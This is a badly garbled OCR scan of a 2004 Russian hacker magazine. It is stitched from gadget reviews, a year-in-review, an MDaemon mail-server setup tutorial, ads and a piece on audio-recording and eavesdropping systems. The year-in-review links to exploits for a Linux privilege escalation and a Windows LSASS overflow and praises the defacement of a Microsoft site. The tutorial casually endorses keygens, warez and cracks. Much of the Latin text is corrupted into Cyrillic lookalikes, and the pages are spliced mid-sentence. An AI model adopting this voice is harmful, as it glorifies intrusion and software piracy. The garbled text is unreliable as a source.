~ 4-5 часов 



Д ЛЯ того чтобы ты не потерялся, когда наступят сложные дни и тебя 
выбросят на необитаемый остров, мы протестировали для тебя СІР8- 
приемник, работающий через ВІиеіооШ. Так что до выброски поза- 
боться взять с собой ноутбук или хотя бы КПК, тогда ты с легкостью 
сможешь понять, где находишься и куда стоит плыть. Устройство имеет 
скромные габариты, сравнимые с парой спичечных коробков, при этом поло- 
вину объема занимает Іі-Іоп аккумулятор. Все настройки приемника заклю- 
чаются в том, чтобы включить его нажатием единственной клавиши. Полного 
заряда аккумулятора хватит на 4-5 часов непрерывной работы в режиме по- 
зиционирования. Разнообразный софт можно найти на просторах интернета. 
Если ты собираешься использовать СРВ в автомобиле, советуем докупить 
внешнюю антенну с разъемом ММСХ. Точность позиционирования составля- 
ет 10 метров, но в связи с электромагнитными помехами, окружающими нас, 
показатель падает до 50 метров. В принципе, этого достаточно для ориента- 
ции в городе. В случае если ты захочешь полетать на параплане, данный 
гаджет также будет хорошим решением, так как распихать по карманам ма- 
ленькие девайсы и соединить их посредством ВІиеіооіб довольно просто. 

К тому же, определение координат в трехмерном пространстве поможет оце- 
нить время. Которое ты еще будешь блаженствуя кружить среди облаков. 




УПЬТРРКОИПРКТНЫЙ ЖЕСТКИЙ диск 8010И0И ^ ^ 



$166 



Интерфейс с компьютером 



Питание 

Время работы от одного элемента 



3 В (батарея входит в комплект) 
~3 недели 



9 же давно наблюдается устойчивая мода на переносную память, будь 
то 118В ^Іазб-ОВІѴЕ или переносные винчестеры, но я хочу поведать о 
новом направлении, которое кажется достаточно перспективным, - 
миниатюрные внешние накопители. Плюсы таковы: хорошая скорость чте- 
ния/записи, лучшая цена за мегабайт в сравнении с флеш-памятью, подклю- 
чение по стандартному интерфейсу 118В (все чаще встречается поддержка 
118В 2.0, что не может не радовать) и меньшие по сравнению с винчестера- 
ми габариты. Представь: сидишь ты с друзьями в интернет-кафе с хорошим 
каналом и хочется тебе быстрее залить побольше халявного софта и отпра- 
виться домой насладиться им в тишине и покое. Пока приятели заливают на 
свои дорогущие флешки, которые, к тому же, имеют ограниченное число 
циклов перезаписи, те же данные, ты не спеша достаешь 8010М0М 118В 
НОВ 2,0 Гб, подключаешь, закачиваешь инфу и покидаешь их, заставляя за- 
думаться о смене накопителя. А если приятели не очень грамотные и решат 
просто выдернуть флешку из 118В-порта, они могут остаться ни с чем, тебе 
же эта участь не грозит. Итак, лозунг «Больше накопителей хороших и раз- 
ных» сменяется на «Больших накопителей поменьше и подешевле». 





музыки или 3-4 часа видео). При использовании авто- 
мобильного адаптера время работы плеера в дороге 
можно значительно повысить. Радио не даст соску- 
читься, даже когда вся музыкальная коллекция 
будет прослушана несколько раз. Возможность 
записи радиоэфира, звука с внешнего источника 
или с микрофона позволяет расширить свою 
аудиоколлекцию. Встроенный динамик не 
даст соскучиться твоим друзьям и тебе в 
дороге. Защитит от всех невзгод это высо- 
котехнологичное устройство стильный 
жесткий чехол, идущий в комплекте. 






■ ЬООЫік(ЬООЫікігеаІ.хакер.ги] 







ХИТ-ПОРОД КОМПЬЮТЕРНОГО НИРО 

За 2004 год столько всего нового произошло и 
появилось в жизни компьютерщиков. Мы посове- 
щались всей реддкцией и выбрали самое лучшее, 
самое достойное твоего внимания. Наслаждайся! 
И удачного тебе празднования Нового года! 




/ ХПКЕР/№1 2(721/2004 



ЛУЧШИЕ ГПДЖЕТЫХ 




П О решению суда программой года становится ЗМоѵѵІІзег ѵ 2.0. Софтина 
эмулирует работу файловой системы. После ее запуска и активации защи- 
ты можно будет гадить по полной на выбранном диске: удалять, переиме- 
новывать системные файлы, запускать трояны, активировать работу вирусов и т.д. 
Но как только ты выйдешь из защищенного режима, все изменения будут утеря- 
ны. По сути, Р2 :). Разумеется, можно и сохранять изменения, если ты точно уве- 
рен, что все нормально. В общем, эта прога обязана быть у тебя на винте - она 
поможет тебе уберечься от всякой гадости. Найдешь ты ее на ѵѵѵѵѵѵ.$[іасІоѵѵ$Іог.со[ті. 






счетное звание самой лучшей хакерской утилиты этого года достается тулзе 
под названием ХЗрісІег. Мощный инструмент в руках системного администра- 
тора и взломщика. Утилита позволяет проверять на прочность компьютерные 
сети любого масштаба, выискивая известные уязвимости. Процесс настройки прог- 
раммы крайне прост и требует минимального вмешательства со стороны юзера. Да- 
же если в сети есть разные типы узлов и сегменты, требующие иной настройки, про- 
га с этим очень хорошо справляется сама. В тулзу встроен уникальный интеллекту- 
альный механизм, позволяющий проверять системы на возможность проведения та- 
ких атак, как зді-іпіесііоп, ХЗЗ-нападение и НТТР Везропзе Зріійіпд в произвольных 
ѴѴЕВ-приложениях. В общем, тизі баѵе! 




С 



еВІТ-2004. С 18 по 24 марта в Ганновере прошла выставка ІТ-технологий, которую ждали с нетерпением год и после которой ждут еще год следующей выставки. 
Событие мирового значения для каждого, кому не безразличны информационные технологии и все, что с ними связано. Огромное количество компаний выстав- 
ляло на суд зрителей свои разработки. Проследить за тенденциями развития технологий, увидеть презентации новинок, завести полезные знакомства - вот за- 
чем сотни тысяч специалистов поедут в 2005 году в Россию, где будет проходить следующая выставка. Ты во что бы то ни стало обязан ее посетить! Ведь более 6500 
экспонентов из 70 стран мира будут удивлять своими творениям профессионалов ІТ-индустрии. 





ТОРѴЕПП 



ЗРРРЗР Г РДР 

К ак в свое время слово «Чернобыль» вызывало резкое побледнение лица 
и паническую рвоту у всех мало-мальски знакомых с компьютером лю- 
дей, так и МуОоот в феврале этого года наделал много шуму. Червь на- 
чал стремительно распространяться по Сети через электронную почту в прик- 
репленных к письму файлах с расширениями .ехе, .зсг, .іір или .ріі. Уже за пер- 
вый час эпидемии компании, занимающиеся производством антивирусных 
программ, получили около 40 сообщений о распространяющейся инфекции, 
что является довольно внушительным количеством. Задачей МуОоот (имеются 
в виду обе версии, А и В) являлась массированная 00о8-атака на два крупных 
сервера корпораций-гигантов: МісгозоЙ и 8СО. За такую дерзость и масштаб 
Майдум получает звание «Зараза года». 






Р угать сервер, используя баг в ядре линукса, - не миф. Был ты поЬосІу, а 
стал гооі’ом после двух движений мышкой и пары ударов по клаве. 
Уязвимость найдена в ядрышках Ііпих версий 2.2, 2.4 и 2.6. Локальный 
юзер может поднять свои привилегии до наивысших с помощью переполнения 
буфера в системном вызове тгетар. Это приведет к созданию таблицы памя- 
ти нулевого размера, что и вызовет ошибку. Подробнее почитать об уязвимос- 
ти и поиметь эксплоит можно на шѵѵ.$есигіІуІаІ].ги/42031.ІіІпІ. 



аязвимрсть ГРДР 

N 80401 1 Ізазгѵ.сІІІ ВРС Ьи^ег оѵеіііоѵѵ гетоіе ехріоіі (РоС) ѵѵііб ІІпіѵегзаІ іаг- 
деіз - универсальный код, разработанный боизеоІбаЬиз и позволяющий 
системному администратору проверить свою систему на наличие уязви- 
мостей. Код проверяет все сервиспаченные винтукеи, а также ХР, на которой ус- 
тановлен 8Р1 . В случае обнаружения уязвимости можно получить полный конт- 
роль над системой. С использованием этой уязвимости был сделан один из виде- 
оуроков в нашем журнале. За подробностями ползем на ѵѵѵѵѵѵ.$есигіІуІаЬ.ги/44913.1ііпІ. 





В этом году вышел такой долгожданный дистрибутив ЗІаскѵѵаге 10.0. Стабильность, логичность, надежность, нацеленность на понимание системы - это все про не- 
го. Внесены улучшения в менеджер пакетов, позволяющие легко перейти с версии ЗІаскѵѵаге 9.1 на ЗІаскѵѵаге 10.0. Дистрибутив включает в себя ССС 3.3.4, яд- 
рышко 2.4.26, кучу дополнительного софта. По сравнению с предыдущим релизом, в десятую версию было внесено порядка 2000 изменений. 

К сожалению, автор слаки тяжело болен, так что пожелаем ему скорейшего выздоровления и продолжения работы над проектом. 



взоомгодо 

В этом году ребята из Оиііаѵѵ Сгоир поимели сайт конторы дядюшки Бил- 
ли. Они, разумеется, не получили полного доступа, однако на одной из 
страничек, используя баг, смогли оставить свой след. И после этого вы 
думаете, что что-то невозможно? Просто нужно немного борзости, прямые руки, 
безбашенный склад ума - и дело в шляпе! Кстати, сервер, на котором располага- 
ется сайт мелкомягких, пашет под никсами, а не под родными Майкрософту фор- 
точками. Посмотреть зеркало взлома можно здесь: Іііір://ѵѵеЬ- 
Ііаск.ги/сІе[асесІ/піісго$о[иоіп.ірд. 






К орпорация Вогіапб ЗоЙѵѵаге 26 октября 2004 года объявила о выпуске новой версии самого популярного за последнее десятилетие средства разработки програ- 
ммного обеспечения - Оеіріті 2005. Особенность его заключается в том, что в нем реализована возможность использования двух языков: самого Оеіріті (он же 
ОЬ]ес4 РазсаІ) и новомодного С#. Следовательно, существует и возможность создавать приложения не только под платформу ѴѴіп32, но и под .МЕГ. Если ты не 
законченный отморозок - с руками отрывай у продавцов диски с вожделенным дистрибутивом! 
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РЕШЕНОі 

учиться и 
разбленаться I 



Испытайте новый мир цифровые раэвп^вніій^ 






нй «йышытчзв. плвмйор* ИАН нрж-4;^ггй 




# ФіфрошШ Ёційгтгари иоигіАЯііійМгѵ^ гцобншгі иугьашй 
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^письмо ДЕДУ МОРОЗУ 

З дравствуй, дедушка Мороз. 

У нас возникла срочная необ- 
ходимость в электронной поч- 
те. И тебе предстоит немно- 
жечко поработать. Поднять 
почтовый сервер начального 
уровня в небольшой организа- 
ции или локальной сети. Нам 
нужны РОР, 5МТР, ІМАР, ѵѵеЬ-доступ, воз- 
можность общаться с внешним миром. 

За полчаса. И без напрягов. 



А ПОЕХОПИ 

Судя по моему опыту пользования электрон- 
ной почтой, этот сервер стал уже стандартом 
де-факто. В России. Под ѴѴіп32. Я говорю о 
МОаетоп. Может показаться странным, что 
я выбрал настолько мощную программу для 
сервера начального уровня. Но, как показала 
практика, достоинство по-настоящему хоро- 
шего продукта - его масштабируемость. 

А значит, и приспособленность для легкого 
решения простых задач. Итак, начнем. 



^ тост ПЕРВЫЙ, 
за ДИСТРИБУТИВ 



То, где ты найдешь дистрибутив, будет зави- 
сеть лишь от поисковой системы, в которой 
ты введешь слово «тбаетоп». Гугль честно 
отправит тебя на официальную страницу 
ѵѵш.аііп.соп. Зато Яндекс, что вполне логично, 
в первой строчке результатов покажет 
ѵѵш.тсіаепоп.ги - сайт русской версии 
МОаетоп. Ребята уже два года занимаются 
его локализацией. На момент написания 
статьи последней локализованной, равно как 
и оригинальной англоязычной, была версия 
7.20. Я выбрал второй вариант. Установщик 
весит 25 мегабайт. Запускаем. Инсталляк 
слегка тупит вначале, распаковываясь во 
временный каталог и показывая заставочку с 
симпатичной девушкой с ноутбуком. Станда- 
ртные шаги по выбору языка, папки для ус- 
тановки, ввода серийника и настройки адми- 
нистраторского аккаунта. Кстати, пользуясь 
кейгеном, ты рискуешь обворовать авторов 
на безумную сумму в почти 2 тысячи зелени. 
Неоправданно много, учитывая доступность 
этой версии на варезных сайтах. Почтив 



должным образом УК, жмем в очередной раз 
кнопку «Мехі» и останавливаемся на непо- 
нятной табличке «Вауезіап ЗеШр». 

Это непривычное для русского уха назва- 
ние носит технология фильтрования базара 
спама, основанная на статистическом анали- 
зе заголовков и текстов. Смысл ее в том, что 
каждому слову и словосочетанию присваива- 
ется некий весовой коэффициент «похожести 
на спам». В процессе работы сервер на ос- 
нове реакции пользователей на те или иные 
письма («Пожаловаться на спам», «ФУ!», как 
на Яндексе) обновляет статистику, самостоя- 
тельно отсеивая нежелательную корреспон- 
денцию. Подробно останавливаться на этой 
и других (а их предостаточно) спаморубиль- 
ных функциях не буду. 

Вне зависимости от того, «ОК» или не 
«ОК» ты выбрал в диалоге настройки этой 
функции, следующий экран будет финаль- 
ным в процессе установки. 

^МЕЖОУ ПЕРВОЙ и ВТОРОЙ 
ИЫНПСТРОИИСЕРВПЧОК 

Обилие окошек, менюшек и списков сейчас 
нафиг не нужно, так что сразу переключим 
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в если далеко не все сделано по правилам, на некоторые серверы почта доходит без проблем 



МДемон в памперсный, как говорит один мой 
приятель, мод: Рііе -> 8ѵѵіісІі іо еаву тосіе. У 
некоторых людей есть врожденная неприязнь 
ко всякого рода «простым» режимам, и они 
порой забывают об одной из заповедей соз- 
дания интерфейсов - «Не напрягай». Наде- 
юсь, ты не в их числе. Взглянем на меню РіІе. 
По умолчанию включены сервисы РОР, 8МТР 
и ІМАР. Включим также и ѴѴогІсІСІіепі - ѵѵеЬ- 
интерфейс к почтовым ящикам. 

^ СЕТРП 

Первый пункт в меню - настройка основного 
домена (Ргітагу ботаіп). 

Ргітагу ботаіп пате - собственно, часть ад- 
реса электронной почты, справа от знака «@». 

НЕЮ ботаіп пате - имя, по которому бу- 
дет идентифицироваться на внешних 8МТР- 
серверах твой демон, отправляя почту. 

Масбіпе пате - имя хоста, на котором ра- 
ботает сервер. 

Ргітагу ботаіп ІР - должен быть указан ІР 
сервера из предыдущего пункта. 

В моей тестовой конфигурации имена вы- 
мышленные - во избежание неурядиц. Здесь я 
должен сделать отступление, которое касается 
особенностей работы МОаетоп в случае, ког- 
да нужно взаимодействие с внешними серве- 
рами. Чтобы почта с твоего локального серве- 
ра отправлялась на любые серверы во внеш- 
ний мир, крайне желательно выполнение не- 
которых условий. Подавляющее большинство 
интернетовских почтовых серверов борется со 



спамом, фильтруя входящий 
трафик. Делается это двумя 
основными способами: созда- 
ваемыми всем миром блэк- 
листами по ІР отправителей и обратным прос- 
мотром (геѵегзе-Іоокир) этих адресов. Во-пер- 
вых, нужен постоянный (статический) внешний 
ІР. Как известно, львиная доля спама рассы- 
лается с обычных машин, если они стали 
жертвами заражения, или злонамеренными 
пользователями с их домашних машин. Это 
привело к тому, что в блэк-листы автоматом 
попадают все адреса из диапазонов Оіаіир, 
х081 и многих домашних сетей. Отсюда выте- 
кает «во-вторых» - даже статический, но до- 
машний адрес, скорее всего, будет заблоки- 
рован тем же паіі.ги. Третья трудность - строка 
НЕЮ обязана содержать полный адрес, на ко- 
торый резолвится внешний ІР, - так называе- 
мый РООМ (РиІІу ОиаІіііесІ Оотаіп Мате). На- 
личие самого бэк-резольва тоже необходимо. 
Есть еще некоторые трудности, ознакомиться 
с которыми можно на форуме шѵѵ.тсіаетоп.ги в 
одной из пиновых тем. 

Следующая закладка - Оеііѵегу. Если усло- 
вия, которые приведены выше, не могут быть 
удовлетворены или каким-то адресатам почта 
все же отправляться не желает, потребуется 
настройка исходящего сервера. Как правило, 
компания -провайдер предоставляет пользова- 
телям сервер исходящей почты. Он называет- 
ся релейным (ретранслирующим) сервером и, 
скорее всего, соответствует описанному мной 
набору требований. На этой закладке можно 
настроить три способа отправки исходящей 
почты во внешний мир. Кроме прямой отсылки 
(по умолчанию) на почтовый сервер адресата. 



Львиная доля спама рассылается 
с обычных машин, если они стали 
жертвами заражения. 



ИЕНЯ БЕСЯТ ШЖНЫЕПИРОПІ 



Н ѳ мнѳ тебе рассказывать, для чего нужны сложные пароли. 

Сделано это не для того, чтоб усложнить тебе или юзерам 
жизнь, а лишь для противостояния перебору паролей методом 
грубой силы (ВгиіеРогсе) или по словарю. По умолчанию 
МОаетоп требует, чтобы пароли были не меньше 6 символов 
длиной, содержали буквы разного регистра и цифры. Если твой 
босс не внемлет увещеваниям о необходимости ставить хоро- 
шие пароли, эту функцию можно отменить, переключившись в 
полный режим и выбрав 5е1:ир -> МізсеІІапіоиз орбопз -> Мізс - 
> Педиіге зігопд раззѵѵогсі. 



можно заставить демона принудительно слать 
корреспонденцию через релейный сервер про- 
вайдера (первая радиокнопка, в этом случае 
есть возможность настроить параметры авто- 
ризации на промежуточном серваке). А можно 
сделать так, чтобы наш почтовик пытался 
отослать мыло напрямую и, в случае неудачи, 
пользовался сервером провайдера. Некоторые 
серверы все же принимают корреспонденцию, 
даже если соблюдены не все стандарты отп- 
равки. И тогда такое решение позволит разг- 
рузить релейный сервер (правда, ценой заде- 
ржки отправки, если что-то не получилось). 
Если это твой вариант, то выбирай вторую ра- 
диокнопку - «Тгу беіесі беііѵегу». 

Закладка намба три - 0М8. Программа- 
установщик уже спрашивала тебя, какие 0М8 
использовать, и я нарочно пропустил этот 
шаг. В моем случае (я запускаю сервер на 
домашнем компе) потребовалась ручная 
настройка. МДемон не всегда правильно оп- 
ределяет ДНСы. Поэтому я принудительно 
прописал там два внешних провайдерских 
сервера. Кстати, в процессе настройки ока- 
залось, что ОНСР в моем ѴРМ дает только 
один внешний 0М8, а их на самом деле два. 
И тот, который дефолтный, часто падает. 
Субъективно инет стал работать лучше :). 

Так что снимаем галку и вписываем серверы. 

Оедиеие. Эта штука уже касается про- 
цесса получения почты из внешнего мира 
твоим сервером. Допустим, входящая кор- 
респонденция собирается внешним (напри- 
мер провайдерским релейным) серваком. В 
заданное тобой время (к примеру, раз в сут- 
ки, ночью, когда каналы не загружены и тра- 
фик недорогой) твой сервер соединяется с 
релейным сервером по 8МТР-протоколу, как 
и в случае отправки почты. Подключившись, 
он дает команду (АТВМ или ЕТМВ, от слова 
«Іигп», подробнее в ВЕС 2645, 1985, 821) ре- 
лейному серверу поменяться с ним ролями. 



I ж- 










ЯГ 



П«НМІѵжіиі« 






^ №р://гп(1аетоп. 
ги и ІіПр://т(1ае- 
топ.ги/Іотт - 
здесь тебе предос- 
тавят русскую вер- 
сию Демона и по- 
могут грамотным 
советом на фору- 
ме. Обязательно 
обрати внимание 
на РАО. 

.іѵѵѵѵѵѵ.аКп.сош - 
домашняя страни- 
ца (на самом деле 
целый домашний 
сайт) сервера. 

ѵѵѵѵѵѵ.іогѵѵагсіег.кг 
- неофициальный 
сайт любителей 
Демона. Если 
стандартного набо- 
ра компонентов 
вдруг не хватит, 
твой путь лежит 
сюда. 

ѵѵѵѵѵѵ.гіс.пеі - са- 
мые стандартные 
стандарты. Наибо- 
лее точное описа- 
ние протоколов и 
особенностей их 
работы. Странно, 
если этого адреса 
нет у тебя в «Изб- 
ранном». 






На этом окошке придется чуть-чуть задержаться 



29 



РС 20ИЕ 



ХПКЕР/№1 2(721/2004 





/ «ОН ВСЕ ПОНИИПЕТ, НО НИЧЕГО НЕ ГОВОРИТ. 

ОН ТОЛЬКО МЕНЯЕТ ЦВЕТ» 

З начок в системном трѳѳ не всегда приятно-белого цвета, оз- 
начающего, что все в порядке и писем в локальной и Веппо1:е- 
папках нет. Иногда он, подобно Индикатору из «Тайны третьей 
планеты», хочет сказать тебе: 

- голубым цветом - все по-прежнему о’кей, зато в папочках ле- 
жат письма. 



или, говоря более умными терминами, раз- 
вернуть (Шгп) канал. Тогда твой МДемон ста- 
новится принимающим и по 5МТР забирает 
всю (или часть) корреспонденцию. Если у 
твоего сервера динамический ІР, как бы ре- 
лейный сервак узнал твой адрес, чтоб пере- 
дать почту? А такой способ позволяет ре- 
шить эту проблему, заодно избавившись от 
части спама сразу на удаленном хосте, без 
ощутимых затрат трафика. Я эту возмож- 
ность не использовал. 

Последняя закладка - АгсИіѵаІ. Шпионс- 
кие штучки - если хочешь, можно сделать 
так, чтобы копии входящих/исходящих писем 
автоматом отправлялись куда-нибудь тебе в 
укромное место. Эту функцию я также не за- 
действовал. 

Следующие пункты меню 8еШр опишу 
вкратце. 

Зесопсіагу Оошаіпз. Один твой сервер 
может поддерживать несколько доменов. 
Бывают случаи, когда одному сетевому ин- 
терфейсу принадлежит несколько разных ад- 
ресов. Сервер определяет, по какому конк- 
ретно ІР к нему коннектится пользователь, и 
отвечает соответственно этому адресу. В 
этих случаях нужно будет сконфигурировать 
вторичные домены. 

Апііѵігиз. Можно установить специально 
созданный для Демона антивирусный мо- 
дуль. За отдельные деньги. 

Еѵепі ЗсИесІиІіпд. Управление расписа- 
нием обработки почты. 

ПАЗ Оіаіир/сііаісіоѵѵп. МДемон умеет 
сам дозваниваться до провайдера, когда 
возникает необходимость обработать оче- 
редь почтовых сообщений. Давай, как будто 
нам это не нужно? А? :) 

ОошаіпРОР. Смысл в следующем: почта 
для всего домена (то есть на все адреса с 
одинаковой частью после знака «@») скла- 
дывается на сервере твоего провайдера. 
Демон забирает ее по протоколу РОРЗ (в 
этом отличие от описанного выше случая 
с Оедиеие) и затем, анализируя заголовки 
писем, в частности, поле адресата, раскиды- 
вает по локальным папкам. Это еще один 
способ получать всю корреспонденцию из 
внешнего мира, если тебе не повезло с на- 




- желтым - обрати внимание на количество свободного места на 
диске (МізсеІІапіоиз Орбопз -> Оізк). 

- красным - проблемы с сетью или свободное место на винте 
вот-вот исчезнет. 

Мигающий значок намекает на то, что на сайте появилась новая 
версия и надо озаботиться новым кряком ;). 

/ 



личием статического ІР. Но такой способ 
имеет и свои недостатки. Например, твой 
сервер будет вынужден скачать всю почту, 
прежде чем приступить к отсеиванию спама. 
Нельзя будет нескольким серверам скачи- 
вать почту одновременно, так как РОРЗ не 
поддерживает несколько соединений сразу. 

^ДОБОВПЯЕИ ЮЗЕРОВ 

Прежде всего надо позаботиться о себе лю- 
бимом - об админе. Если ты не создал себе 
администраторский аккаунт, самое время 
его сделать. Ассоипіз -> Меѵѵ Ассоипі. Соз- 
даем пользователя и на вкладке «Абтіп» ста- 
вим верхнюю галку. Теперь у нас есть пол- 
ные права на управление сервером. После 
того как настроишь соответствующую запись 
в почтовом клиенте, запусти проверку почты. 
Тебе на ящик свалится приветственное пись- 
мо, сгенерированное твоим сервером. В 
письме будут указаны параметры твоего ак- 
каунта (вдруг забудешь, как тебя зовут? :)) и 
список команд, которые ты можешь отправ- 
лять серверу. Демон понимает внушитель- 
ный набор команд, позволяющих настроить 
аккаунт, подписаться на рассылки и т.д. Ты 
сможешь общаться с ним, просто отправляя 
письма на адрес МОаетоп@<имя домена, 
на котором запущен сервер>.сот. Такие же 
письма придут и каждому вновь созданному 
тобой пользователю. Чтобы не захламлять 
место на харде, можно настроить для поль- 
зователя автоматический форвардинг почты 
или ввести квотирование дискового простра- 
нства. Также можно ввести ограничения на 
адреса, с которых/на которые чел имеет 
право получать/отправлять сообщения, раз- 
решить использовать юзеру веб-клиент или 
ввести на него ограничения, ну и установить 
некоторые другие опции. 

^ ЕЩЕ по одной 

Несколькими кликами мышки ты можешь соз- 
дать листы рассылки, в которых будут участ- 
вовать все или часть пользователей. Демон 
предоставляет очень широкие возможности 
для этого. В качестве примера сделаем лист, 
в который будут включены все юзеры (у меня 
их сейчас двое: абтіп и изег). Іізіз -> Меѵѵ 
ІІ8І. В поле «Мате» впишем «аІІ». Наш лист 
будет носить имя аІІ@таіІ.ІосаІ. Переходим 
на закладку МетЬегз (зацени, Бивис, тут на- 
писано «члены», кууул). Внизу из списка «Меѵѵ 
тетЬег етаіі» выбираем по очереди Админа 



и Юзера и для каждого из них щелкаем на 
кнопку «АбсІ». Теперь с любого из этих двух 
аккаунтов отправляем письмо на 
аІІ@таіІ.ІосаІ. 

Пункта меню Оиеиез (очереди) я касаться 
не буду. На начальном этапе он не представ- 
ляет интереса, а потом ты и сам разберешь- 
ся, как работать с очередями сообщений и 
просматривать статистику (именно к этим 
функциям и дает доступ этот пункт меню). 

Напоследок посмотрим на возможности 
ѴѴогІсІСІіепІ - ѵѵеЬ-интерфейса, который есть 
у МОаетоп. Должен сказать, что по умолча- 
нию веб-интерфейс запускается на порту 
3000. Если тебя это не устраивает, его можно 
перевесить на стандартный 80-й или любой 
другой порт. Для этого нужно будет переклю- 
читься в полный режим интерфейса Демона, 
выбрать 8еШр -> ѴѴогІсІСІіепІ и на основной 
закладке настроек переключить порт. ѴѴеЬ- 
интерфейс поддерживает ІМАР-папки на сер- 
вере и дает пользователю очень широкие 
возможности по настройке внешнего вида и 
самых разнообразных опций: от кодировки 
писем и настройки самообучающегося фильт- 
ра спама до текста сообщения автоответа. 

.ІНР посошок 

Возможно, выбор этого почтового сервера в 
качестве средства начального уровня будет 
выглядеть выстрелом из пушки по воробьям. 
Конечно же, у тебя есть множество альтерна- 
тив. От Кегіо МаіІ 8егѵег до всем известного 
ТбеВаі. Однако, глядя на заголовки писем, 
которые я ежедневно получаю, у меня не ос- 
тается сомнений, что в России МОаетоп 
распространен гораздо шире. Я надеюсь, те- 
бе понравится этот сервер и ты приложишь 
усилия для изучения его поистине безгранич- 
ных возможностей. Знания его настроек бу- 
дут полезны, если вдруг придется обеспечи- 
вать своей электронной почтой сети посо- 
лидней домашней локалки. Не забудь наря- 
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каждый месяц 



Стирайте и выигрывайте! 

В каждом новогоднем комплекте ДЖИНС есть карточка новогодней лотереи. 

Каждая из них может выиграть, ведь всегда пять из десяти окошек содержат 
буквы Д, Ж, И, Н, С. Все, что нужно сделать - это правильно стереть окошки. 
Если вы угадали, приходите в ближайший офис МТС за своим призом: 

2005 секунд бесплатных разговоров каждый месяц на весь 2005 год! 

Если вам не повезло - сотрите оставшиеся окошки и убедитесь, что мы играли честно. 

Будьте внимательны: билет, где стерто больше, чем пять окошек, считается недействительным. 

В любом случае, в новогоднем комплекте услуга ДЖИНС-Минута уже подключена, 
поэтому выигрывают все. 



Подробности на сайте ѵѵѵѵѵѵ.іеапз.тіз.ги 






наступающим Новым гопом, иайн фройнп :1. 

В наше непростое время прихопится за всеми спепить. Шефам - за подчиненными, охране - за потенциапьными зпоумышпенниками, 
компетентным органам - за всеми сразу. Как быть, еспи камер и микрофонов в помещениях твоей фирмы уже миппион (марка «КГБ- 
бетон» - треть микрофонов на две трети бетона) и не хватает ушей, чтобы за всем зтим спедить в реапьном времени? 

СИСТЕМЫ ПУПИОРЕГИСТРПТОРОВ ПКП ПОрСПУШИВаЮЩИЕ УСТРВЙСТВП 



А ВВЕДЕНИЕ 

нформация, передаваемая 
по радио, иногда может быть 
очень эксклюзивной, а ради- 
останций, вещающих в разных 
диапазонах, уже десятки и 
сотни. Пресс-конференции, 
заседания, беседы в студиях 
радиостанций, переговоры 
в офисах, звонки на диспетчерские пульты, 
протоколирование которых необходимо, а 
времени на переспрашивание нет. Зато есть 
специальные системы многоканальной ауди- 
озаписи, которые получили название аудио- 
регистраторов. 

Мы не будем касаться портативной реги- 
стрирующей аппаратуры (например, анало- 
говых и цифровых диктофонов) и аналоговых 
систем (катушечных магнитофонов), которые 
и по сей день используются в некоторых об- 
ластях. Мы рассмотрим автономные и расп- 
ределенные системы цифровой многока- 
нальной звукозаписи. 

.ІХПРДВаРЕЭНДСОФТВОРЕ 

Человеческий голос вполне укладывается в 
небольшой диапазон, передаваемый по ка- 
налам телефонной связи. И для его качест- 
венной цифровой записи достаточно не- 
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Внешний модуль 
- коммутатор 



большого битрейта и, в общем -то, неболь- 
шого количества услуг, предоставляемых 
обычной звуковой платой. Кроме того, для 
сокращения занимаемого записью места на 
диске необходимо отслеживать наличие го- 
лоса в канале. Особые алгоритмы сжатия, 
реализованные аппаратно, высокая масш- 
табируемость и надежность, независимость 
аппаратной части от центрального процес- 
сора, возможность управления записью в 
режиме реального времени, автоматичес- 
кая регулировка уровня записи (АРУЗ) - все 
эти черты присущи особой категории обо- 
рудования - голосовым платам (ѵоісе 
ріаіез). Производят их как за рубежом, так 
и у нас в стране. Как правило, такие платы 
адаптированы для записи с телефонных ли- 
ний, поэтому на большинстве из них распо- 
ложены телефонные разъемы под коннек- 
тор В^-1 1 . На самом деле это даже удоб- 



нее, потому что обжать разъем проще, чем 
паять миниджек. 

Голосовые платы, принципиально не отли- 
чающиеся начинкой, могут иметь различные 
интерфейсы (І80М, Е1, РХО/РХ5, микрофон- 
ные входы) и количество каналов (от 1 -2 до 
32-64). Разумеется, большое число аналого- 
вых линий проще подключить через внешний 
модуль, связанный шиной с самой платой. 

Первая голосовая плата была выпущена в 
1985 году компанией Оіаіодіс (ѵѵш.сііаіодіс.соп), 
по сей день остающейся законодательницей 
мод в сфере производства таких устройств. 
Эта компания с некоторых пор стала подраз- 
делением фирмы ІпіеІ (ѵѵш.іпіеі.соп), но по- 
прежнему предлагает эффективные, хотя и 
очень дорогие для российского рынка реше- 
ния. Надо сказать, что голосовые платы прин- 
ципиально созданы не только для ввода звука 
в компьютер, но и для вывода его в телефон- 
ную линию, включая набор номера, передачу 
и прием факсимильных сообщений. Поэтому 
применяются они не только в такой достаточ- 
но узкоспециализированной сфере, как ауди- 
орегистрация, но и в ІР-телефонии как сред- 
ства ввода звука в компьютер в реальном 
времени, и в автоответчиках, сделанных на 
базе ПК, и в системах голосового оповеще- 
ния при устроении конференц-связи и т.д. 
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ВРССПУШРЕИ! 




В России поначалу никто не умел делать 
голосовые платы. 

I 



Кроме голосовой платы, необходимо не- 
которое ПО, которое позволило бы не только 
управлять платой, но и пожинать плоды ее 
использования - работать с накопленной ау- 
диоинформацией. Как правило, производите- 
ли плат оставляют на совесть отдельных раз- 
работчиков построение соответствующего 
ПО, поставляя только драйверы, библиотеки 
и описание процедур, в них содержащихся, 
чтобы разработчики могли сами построить 
нужную с их точки зрения систему. 80К (тот 
самый Оеѵеіорег Кіі) к платам Оіаіодіс на те- 
кущий момент занимает около 200 Мб и тре- 
бует при установке еще больше. 

Современный аудиорегистратор помимо 
голосовых плат содержит в себе резидент- 
ную программу или службу записи (сервер 
записи). Также он содержит программу для 
удаленного управления и мониторинга сер- 
вера записи (смена битрейта, запуск-оста- 
новка записи, всевозможные настройки рас- 
писания и прочий сервис) и программу для 
управления банком данных записанной инфы 
(прослушивание, правка, экспорт звука в 
разные форматы). 

Иногда сервером записи называют ПК, на 
котором установлены голосовые платы, дро- 
ва к ним и специальное программное обес- 
печение. 




Количество серверов записи может быть 
увеличено, тем самым достигается избыточ- 
ность и распределение накопления инфор- 
мации, повышается надежность. При не- 
большом количестве записываемых каналов 
целесообразно оборудовать один-два серве- 
ра записи. 

Как правило, данные накапливаются от- 
дельными отрезками определенной длины 
и сохраняются на носителях в банках дан- 
ных. Самый популярный формат данных - 
М5 Ассезз или 501-зегѵег, так как они мо- 
гут хранить двоичные данные довольно 
большого объема. Банки аудиоданных в 
формате Ассезз падают достаточно часто, 
так что имеет смысл поставить Ассезз соот- 
ветствующей версии на один из ПК сети, 
предназначенных для восстановления пов- 
режденных файлов. 

